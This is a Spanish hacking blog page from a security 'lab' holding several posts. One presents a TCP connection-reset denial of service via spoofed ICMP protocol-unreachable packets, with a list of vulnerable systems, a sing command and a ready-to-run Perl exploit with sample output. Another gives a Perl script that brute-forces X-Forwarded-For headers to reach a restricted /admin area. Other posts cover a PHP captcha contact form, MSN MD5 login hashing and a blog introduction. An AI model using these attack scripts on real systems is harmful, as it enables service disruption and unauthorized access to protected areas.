Acceder CPanel Acceder WHM Acceder webmail

ICMP Protocol Unreachable TCP denial of service (Local)

Queremos reencarnar una vulnerabilidad que se descubrió haya por el 2004 y que aún sigue siendo efectiva como en aquellos tiempos. ICMP Protocol Unreachable TCP denial of service, o también conocida como Blind TCP connection reset. Esta vulnerabilidad en el protocolo ICMP tiene el poder de falsificar el remitente de los paquetes ICMP produciendo una cancelación entre las conexiones TCP de dos ordenadores.

Hoy vamos a ver el caso local, es decir, romper una conexión TCP establecida entre nuestro ordenador y otro fuera de nuestra red. Como es habitual tocaremos temas de programación.

Lista de sistemas vulnerables:

  • Blue Coat: Blue Coat Director Any version
  • Blue Coat: Blue Coat ProxySG 2.1.11 and prior
  • Blue Coat: Blue Coat ProxySG 3.2.4 and prior
  • Blue Coat: Blue Coat ProxySG 4.1.1
  • Blue Coat: Blue Coat Spyware Any version
  • Cisco: Cisco Catalyst 6608 Any version
  • Cisco: Cisco Catalyst 6624 Any version
  • Cisco: Cisco IOS XR Any version
  • Cisco: Cisco IP Phone 7960
  • Cisco: Cisco IP Phone 7940 Any version
  • Cisco: Cisco IP Phone 7970G prior to 6.0(1) SR1
  • HP: HP-UX B.11.00
  • HP: HP-UX B.11.04
  • HP: HP-UX B.11.11
  • HP: HP-UX B.11.22
  • HP: HP-UX B.11.23
  • HP: Tru64 UNIX 4.0F
  • HP: Tru64 UNIX 4.0G
  • HP: Tru64 UNIX 5.1A
  • HP: Tru64 UNIX 5.1B-2
  • HP: Tru64 UNIX 5.1B-3
  • Juniper: JUNOS 6.x
  • Kernel: Linux kernel prior to 2.6.9-rc3
  • Microsoft: Windows 2000 SP3
  • Microsoft: Windows 2000 SP4
  • Microsoft: Windows 2003 Itanium
  • Microsoft: Windows 2003 SP1
  • Microsoft: Windows 2003 SP1 Itanium
  • Microsoft: Windows 2003 x64
  • Microsoft: Windows 2003 null
  • Microsoft: Windows XP 64-Bit 2003 Itanium
  • Microsoft: Windows XP 64-Bit SP1 Itanium
  • Microsoft: Windows XP Pro x64 Edition
  • Microsoft: Windows XP SP1
  • Microsoft: Windows XP SP2
  • Network Appliance: Data ONTAP 6.x
  • OpenBSD: OpenBSD 3.4
  • WatchGuard: WatchGuard Firebox Any version
  • Wind River: VxWorks 5.4
  • Wind River: VxWorks 5.5.x



Existen exploits, herramientas y automatizaciones para cargar contra esta debilidad en el protocolo ICMP. Esta vez veremos un poco de todo y empezaremos por la herramienta sing (disponible solo para Linux).

Sing (en dos pasos):

1º - Podemos instalarla con un simple apt-get install sing
2º - Ejecutamos: sing -du -x prot-unreach -psrc “puerto víctima” -orig “nuestra ip” -pdst “nuestro puerto” “victima ip”

Sin comillas dobles. Esta herramienta se encargará de falsificar los paquetes ICMP para cerrar definitivamente la conexión
entre las dos máquinas.

ICMP Protocol Unreachable TCP Automation Local DOS Exploit:

#!/usr/bin/perl

$ip = $ARGV[0];
$port = $ARGV[1];
$ip2 = $ARGV[2];
$port2 = $ARGV[3];

if ((!$ARGV[0]) || (!$ARGV[1]) || (!$ARGV[2]) || (!$ARGV[3]))
{
print “\n[x]: Incorrect argument\n”;
print “[x]: Exploit Usage:\n”;
print “[x]: perl x.pl yourIP yourPORT victimIP victimPORT\n\n”;
print “[x]: Exploit: ICMP Protocol Unreachable TCP Automation Local DOS Exploit\n”;
print “[x]: Coder: JosS\n”;
print “[x]: Contact: sys-project[at]hotmail.com\n”;
print “[x]: HomePage: www.spanish-hackers.com\n\n”;
}
else
{ #1e

chomp(my $demo = `whoami`);

if ($demo =~ m/root/)
{ #1i
print “\n[x]: $demo, OK!\n”;

print “[x]: Exploit installing…\n”;

chomp(my $demo2 = `apt-get install sing`);

print “[x]: Exploit installed\n”;
print “[x]: Starting attack…\n”;
chomp(my $demo3 = `sing -du -x prot-unreach -psrc $port2 -orig $ip -pdst $port $ip2`);
print “[x]: $demo3\n”;
print “[x]: Finished attack\n\n”;
exit(1);
} #1iF
else
{
print “\n[x]: $demo, you are not Root\n\n”;
exit(1);
}
} #1eF

Salida por pantalla:

# h4×0rz:/home/joss/Desktop# perl exp.pl 192.168.1.34 9999 192.168.1.33 1233
# [x]: root, OK!
# [x]: Exploit installing…
# [x]: Exploit installed
# [x]: Starting attack…
# [x]: SINGing to 192.168.1.33 (192.168.1.33): 36 data bytes
# [x]: Finished attack

No hace falta mucho tiempo para comentar el peligro de esta vulnerabilidad que surgió hace ya mucho tiempo y aún persiste entre todos nosotros y tendríamos que preocuparnos aún más viendo lo sencillo que resulta explotarla.

Exploit:
http://milw0rm.com/exploits/291


Publicado en: Hacking
Tags: , ,
Reacciones con otros blogs:  ¡Click!
Marcadores sociales: Compártelo

Captcha, formularios seguros

Para evitar el spam a traves del formulario de PerformSec me vi obligado a configurar un sistema de captcha en PHP para evitarlo, es un poco mas molesto para los usuarios que quieran contactar conmigo, pero mas seguro, asi este código de verificación diferenciará si quien realmente quiere contactar conmigo es una persona o un bot.

La configuracion de captcha en formularios es muy sencilla, simplemente un copy-paste del codigo que os voy a mostrar a continuación.

El código de captcha:

<?php
session_start();// Genero el codigo y lo guardo en la sesión para consultarlo luego.
$captchaCode = substr(sha1(microtime() * mktime()), 0, 6);
$_SESSION['CAPTCHA_CODE'] = sha1($captchaCode);// Genero la imagen
$img = imagecreatetruecolor(70, 25);// Colores
$bgColor = imagecolorallocate($img, 230, 230, 230);
$stringColor = imagecolorallocate($img, 90, 90, 90);
$lineColor = imagecolorallocate($img, 245, 245, 245);// Fondo
imagefill($img, 0, 0, $bgColor);

imageline($img, 0, 5, 70, 5, $lineColor);
imageline($img, 0, 10, 70, 10, $lineColor);
imageline($img, 0, 15, 70, 15, $lineColor);
imageline($img, 0, 20, 70, 20, $lineColor);
imageline($img, 12, 0, 12, 25, $lineColor);
imageline($img, 24, 0, 24, 25, $lineColor);
imageline($img, 36, 0, 36, 25, $lineColor);
imageline($img, 48, 0, 48, 25, $lineColor);
imageline($img, 60, 0, 60, 25, $lineColor);

// Escribo el código
imageString($img, 5, 8, 5, $captchaCode, $stringColor);

// Image output.
header("Content-type: image/png");
imagepng($img);
?>

Copiamos este código y lo guardamos como captcha.php.

Ahora vamos configurar el formulario de contacto, para empezar en el principio del HTML, copiamos el siguiente código:

<?php
session_start();
if(isset($_POST['enviar'])) {
$Message = "";
$Captcha = (string) $_POST["CAPTCHA_CODE"];
if($_POST['nombre'] == '') {
echo "<center><p style='color: #ff0000;'><strong>No has ingresado tu Nombre.</strong></p></center>";
}elseif($_POST['email'] == '') {
echo "<center><p style='color: #ff0000;'><strong>No has ingresado tu Email.</strong></p></center>";
}elseif($_POST['asunto'] == '') {
echo "<center><p style='color: #ff0000;'><strong>No has ingresado el Asunto del mensaje.</strong></p></center>";
}elseif($_POST['mensaje'] == '') {
echo "<center><p style='color: #ff0000;'><strong>No has ingresado el Mensaje.</strong></p></center>";
}elseif(sha1($Captcha) != $_SESSION["CAPTCHA_CODE"]) {
$Message = "<center><p style='color: #ff0000;'><strong>El código de validación no ha sido ingresado o es incorrecto.</strong></p></center>";
}else {
mail ("tu@msn.com", "$asunto", "$mensaje", "From: $nombre <$email>"); // coloque aqui su correo
echo '<p style="color: #a3c76a;"><strong>El email ha sido enviado con éxito.</strong></p>';
}
}
if(!empty($Message)) {
// Muestro los posibles errores de validación previos.
echo "$Message";
}
// Si aún no se han enviado los datos, mostramos el formulario
?>

Ahora en el cuerpo del HTML (BODY) dibujamos el formulario:

<form method=”post” action=”contacto.php”>
<label class=”Estilo13″><br />
Nombre / Nick:</label>
<p>
<input name=”nombre” type=”text” size=”45″ />
</p>
<p> </p>
<label class=”Estilo13″>Email:</label>
<p>
<input name=”email” type=”text” size=”45″ />
</p>
<label><span class=”Estilo1″><br />
</span><span class=”Estilo13″>Asunto:</span><br />
</label>
<input name=”asunto” type=”text” size=”45″ />
<label><br />
<br />
<span class=”Estilo13″>Mensaje:</span><br />
</label>
<textarea name=”mensaje” cols=”50″ rows=”10″></textarea>
<label><br />
<br />
<span class=”Estilo13″>Código de seguridad:</span></label>
<p> </p>
<p><img src=”captcha.php” align=”absbottom” />
<input name=”CAPTCHA_CODE” type=”text” style=”width: 60px;” />
</p>
<p> </p>
<p style=”padding-top: 5px;”>
<input type=”submit” name=”enviar” value=”Enviar Mensaje” />
<input type=”reset” name=”enviar” value=”Borrar datos” />
</p>
<p style=”padding-top: 5px;”> </p>
</form>

Este esta con mi configuración de diseño, cada uno lo adaptara par su web, ya que lo importante es el código, bueno pues para finalizar guardamos esto como contacto.php.

Espero que os sirva a podais evitar el spam tan pesado, es una explicación muy breve, si teneis alguna duda de configuración no duden en preguntarla.


Publicado en: PHP
Tags: , , ,
Reacciones con otros blogs:  ¡Click!
Marcadores sociales: Compártelo

Criptografía en el protocolo del MSN

Dentro del protocolo de MSN , utiliza metodos de criptografia, sera comentado mas detalladamente a continuacion.

LA ENCRIPTACION MD5 DE CLAVES MSN

El algoritmo *MD5 no es un sistema de encriptacion, sino una cadena de huellas que indetinfica de forma unica como todos los sistemas de encriptacion un documento en especial, este sistema de encriptacion se esta utilizando principalmente para la encriptacion de huellas digitales,en este sistema incluimos el proceso de envio del nombre de usuario y su clave correspondiente del MSN, este proceso debe encriptar la clave del usuarion para que no pueda ser capturada por un sniffer, nos hariamos la siguiente pregunta ¿como funciona este sistema de encriptacion de firmas digitales como por ejemplo la del MSN?pues de la siguiente forma:

-Para empezar debemos conocer el nombre de un usuario y su clave correspondiente, ademas de la cadena de desafios que a enviado el servidor al cliente en el momente de establecer la conexion.

El ejemplo siguiente nos muestra una pequeña ayuda para utilizar las librerías de criptografía de Mono, es la siguiente:

Código:

using System;
using System.Text;
using System.Security.Cryptography;public class MD5utils
{
public static string ASCII_MD5(string arg)
{
MD5CryptoServiceProvider md5=new MD5CryptoServiceProvider();
byte[] data=Encoding.ASCII.GetBytes(arg);
byte[] result=md5.ComputeHash(data);string cadena_res="";
for (int i=0; i<16; i++)
{
cadena_res+=result/i/.ToString("x");
}
return cadena_res;
}
}

Esto nos sirve para pasarle una cadena de caracteres y a continuacion procederemos a encriptarla con el algoritmo comentado arriba el MD5. Y claro a la pregunta ¿como hariamos esto? Pues debemos pasar dicha cadena de caracteres a una matriz de bytes y utilizar el metodo estatico *ComputeHash claramente de clase que estamos trabajanmdo MD5, de aqui obtenemos un nuevo matriz de bytes que debemos pasarlo a una cadena de caracteres que esta es la que devolvemos como parametro, el ejemplo de esta clase es el siguiente:

Código:

SendString (ns, "USR "+TrID.ToString()+" MD5 I "+login+"\r\n");
returnData=ReceiveString (ns,tcp); char[] separators = { ' ', '\r', '\n' };
string[] parts = returnData.Split (separators);
string hash = parts[4];
//extraemos el hash de la cadena devuelta (parametro 4)hash = hash + password; //unimos el hash al passwordSendString (ns, "USR "+TrID.ToString()+" MD5 S "+MD5utils.ASCII_MD5 (hash)+"\r\n");
returnData=ReceiveString (ns, tcp);

Esto es parte del codigo de la conexion del cliente con el servidor del MSN, entoneces estamos enviando el login y este nos devuelve una cadena de caracteres que debemos unir a la clave, claramente antes de encriptarla con el algoritmo MD5.

# > VOCABULARIO:

*-MD5:

En criptografía, MD5 (acrónimo de Message-Digest Algorithm 5, Algoritmo de Resumen del Mensaje 5) es un algoritmo de reducción criptográfico de 128 bits ampliamente usado. El código MD5 fue diseñado por Ronald Rivest en 1991. Durante el año 2004 fueron divulgados ciertos defectos de seguridad, lo que hará que en un futuro cercano se cambie de este sistema a otro más seguro.

Para mas informacion:

http://es.wikipedia.org/wiki/MD5

*-ComputeHash:

HashAlgorithm.ComputeHash (Byte[]):
Calcula el valor hash para la matriz de bytes especificada,Compatible con .NET Compact Framework.

HashAlgorithm.ComputeHash (Stream):
Calcula el valor hash del objeto Stream especificado, Compatible con .NET Compact Framework.

HashAlgorithm.ComputeHash (Byte[], Int32, Int32):
Calcula el valor hash para la región especificada de la matriz de bytes indicada.
Compatible con .NET Compact Framework.

Para mas informacion:

http://msdn2.microsoft.com/es-es/lib…sh(VS.80).aspx


Publicado en: Criptografía
Tags: , ,
Reacciones con otros blogs:  ¡Click!
Marcadores sociales: Compártelo

Header poisoning

Hoy en el laboratorio tenemos un ejemplo práctico de Header Poisoning. Tocaremos temas de programación y conceptos de header. Queremos mostrar lo fácil que es envenenar las cabeceras en las peticiones a páginas web. Imaginemos que tenemos un blanco, una empresa que posee un área (Ejemplo: /admin/) al cual solo pueden acceder los miembros de su empresa que estén usando el proxy único de la empresa. Si entramos a ese área sin el proxy nos salta: “No estas utilizando nuestro proxy: 3.1.x.x”. Bien sabemos los dos primeros dígitos del proxy que hay que usar para acceder al área de administrador. Planteándolo un poco, sería muy pesado estar comprobado a mano proxy a proxy por lo que nosotros desarrollaremos nuestro script que nos haga todo el trabajo. La función principal del script será el envenamiento de las cabeceras que enviemos a la petición del servidor, por lo que nuestro script se encargará de entrar con todas las combinaciones de proxy posibles a ‘/admin’.

# !/usr/bin/perl

use HTTP::Request;
use LWP::UserAgent;

$contador1=0;
$contador2=0;

while($contador1<=255)
{
while($contador2<=255)
{
print "Comprobando: 3.1.$contador1.$contador2\n";
my $web="http://www.localhost/admin";
my $header="X-Forwarded-For: 3.1.$contador1.$contador2";
my $respuesta=HTTP::Request->new(GET=>$web);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
$ua->default_header('X-Forwarded-For' => "3.1.$contador1.$contador2");
my $response=$ua->request($respuesta);

if ($response->is_success)
{
$contenido=$response->content;
open(FILE,">>results.txt");
print FILE "$contenido\n";
close(FILE);
}

$contador2++;
}
$contador1++;
$contador2=0;
}

Hay está el script desarrollado al completo, podéis ver que hemos empleado el lenguaje perl para este desarrollo; simplemente porque lo veíamos el más cualificado para esta explicación. El script como podéis ver nos guarda el resultado de las peticiones en un ‘txt’, cuando el script acabe, abrimos el ‘txt’ que nos creó y podremos ver miles de lineas que nos muestra este mensaje: “No estas utilizando nuestro proxy: 3.1.x.x”, excepto en una que ha sido cuando ha realizado la petición con el proxy correcto, nos mostrará todo el contenido del área ‘/admin’ por lo que podremos ver que se está cociendo por hay.

Saludos y hasta la próxima.


Publicado en: Hacking
Tags: ,
Reacciones con otros blogs:  ¡Click!
Marcadores sociales: Compártelo

Acerca del laboratorio

Hola, desde PerformSec y EspSec les presentamos el laboratorio, este es un blog escrito por el laboratorio de PerformSec y EspSec.

El laboratorio nace como un espacio más directo, y donde todos nuestros lectores puedan ponerse y sentir las mismas esperiencias en nuestro ámbito, les informaremos sobre todos nuestros proyectos y procedimientos que seguimos para realizarlos, ademas de las prinipales anecdotas en su desarrollo.

Apuntes técnicos, anotaciones, opinión, notas de humor y, en definitiva, cualquier tipo de contenido que por alguna extraña razón nos haya resultado interesante, sin que exista una periodicidad o temática prefijada.

Adema de todo esperemos que todos los que no sigais paseis un buen rato con nosotros y algunas entradas os sirvan de utilizada para vuestros trabajos, ya sea a nivel teorico como practico.

Nada mas que decir, simplemente desde quí les animo a que nos lean, bienvenidos.


Publicado en: Laboratorio
Tags: ,
Reacciones con otros blogs:  ¡Click!
Marcadores sociales: Compártelo